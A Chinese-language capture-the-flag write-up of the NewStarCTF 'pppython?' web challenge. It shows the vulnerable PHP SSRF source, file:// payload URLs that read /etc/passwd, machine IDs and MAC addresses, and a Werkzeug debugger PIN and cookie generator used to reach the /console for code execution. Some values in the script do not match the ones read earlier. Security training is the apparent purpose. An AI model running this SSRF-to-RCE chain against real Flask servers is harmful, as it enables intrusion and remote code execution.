NewStarCTF WEEK5|WEB pppython?

DGhh發表於2024-08-02

對原始碼進行簡單的分析

<?php

// 檢查 `hint` 請求引數是否等於指定的陣列值
if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]) {
    // 如果條件滿足,設定響應內容型別為純文字
    header("Content-type: text/plain");
    
    // 執行系統命令 `ls / -la` 列出根目錄下的所有檔案及其詳細資訊
    system("ls / -la");
    
    // 執行完命令後退出指令碼
    exit();
}

try {
    // 初始化一個新的 cURL 會話
    $ch = curl_init();
    
    // 設定 cURL 請求的 URL,從請求引數 `url` 中獲取
    curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
    
    // 設定連線超時時間為 60 秒
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    
    // 設定 HTTP 頭部
    // `$_REQUEST['lolita']` 必須是一個陣列,且每個元素都是 `key: value` 格式
    curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
    
    // 執行 cURL 請求,並獲取響應
    $output = curl_exec($ch);
    
    // 輸出響應內容
    echo $output;
    
    // 關閉 cURL 會話
    curl_close($ch);   
} catch (Error $x) {
    // 捕獲異常,並顯示當前檔案的原始碼和錯誤資訊
    highlight_file(__FILE__);
    highlight_string($x->getMessage());
}

?>

對程式碼進行簡單的分析
我們先滿足

($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]) 

來看一下 system("ls / -la");的結果

image

發現flag但是沒有許可權
我們接著看原始碼
還可以利用ssrf讀檔案我們讀一下app.py

url/?url=file:///app.py&lolita[]=

image

然後就是偽造session來拿到flag
但是壓根就沒cookie沒法直接偽造
image

這裡很關鍵
我們知道了flask內網地址為 127.0.0.1:1314
還有就是結合app.py的存在我們知道可以計算pin碼然後進入到/console進行rce

username
透過getpass.getuser()讀取,透過檔案讀取/etc/passwd

modname
透過getattr(mod,“file”,None)讀取,預設值為flask.app

appname
透過getattr(app,“name”,type(app).name)讀取,預設值為Flask

moddir
flask目錄下面app.py的絕對路徑,可以透過報錯拿到

uuidnode
透過uuid.getnode()讀取,透過檔案/sys/class/net/eth0/address得到16進位制結果,轉化為10進位制進行計算

machine_id
每一個機器都會有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶機則讀取/proc/self/cgroup,其中第一行的/docker/字串後面的內容作為機器的id,第一個讀不到的話就是後兩個拼接

username:root

modname:flask.app

appname:Flask

moddir:進debug讀app.py路徑
?url=127.0.0.1:1314&lolita[]=debug

image

/usr/local/lib/python3.10/dist-packages/flask/app.py

uuidnode:/?url=file:////sys/class/net/eth0/address&lolita[]=

be:31:72:c9:ba:3c->(十進位制)209119588497980

machine_id:/etc/machine-id讀取不到那麼就是/proc/sys/kernel/random/boot_id和/proc/self/cgroup

edeba027-4585-4b0e-81c5-9451b7c558b8

/proc/self/cgroup
image
真有意思....
下面是學習的其他人的wp

然後就放到指令碼里跑出pin碼和cookie

import hashlib
from itertools import chain
import time

probably_public_bits = [
    'root'
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '209308333341629',
    '8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

然後就是如何傳參

GET /?&debugger=yes&cmd=print(1)&frm=140324285712640&s=prj74Iraob1k5eMHiH37
1
這裡我們要去獲取frm和s的值

frm如果沒有報錯資訊的話值為0
s的值可以直接訪問./console,然後檢視原始碼的SECRET值
由於這裡試了半天沒有報錯資訊,那麼frm=0

訪問一下console,獲取s值

?url=http://localhost:1314/console&lolita[]=

相關文章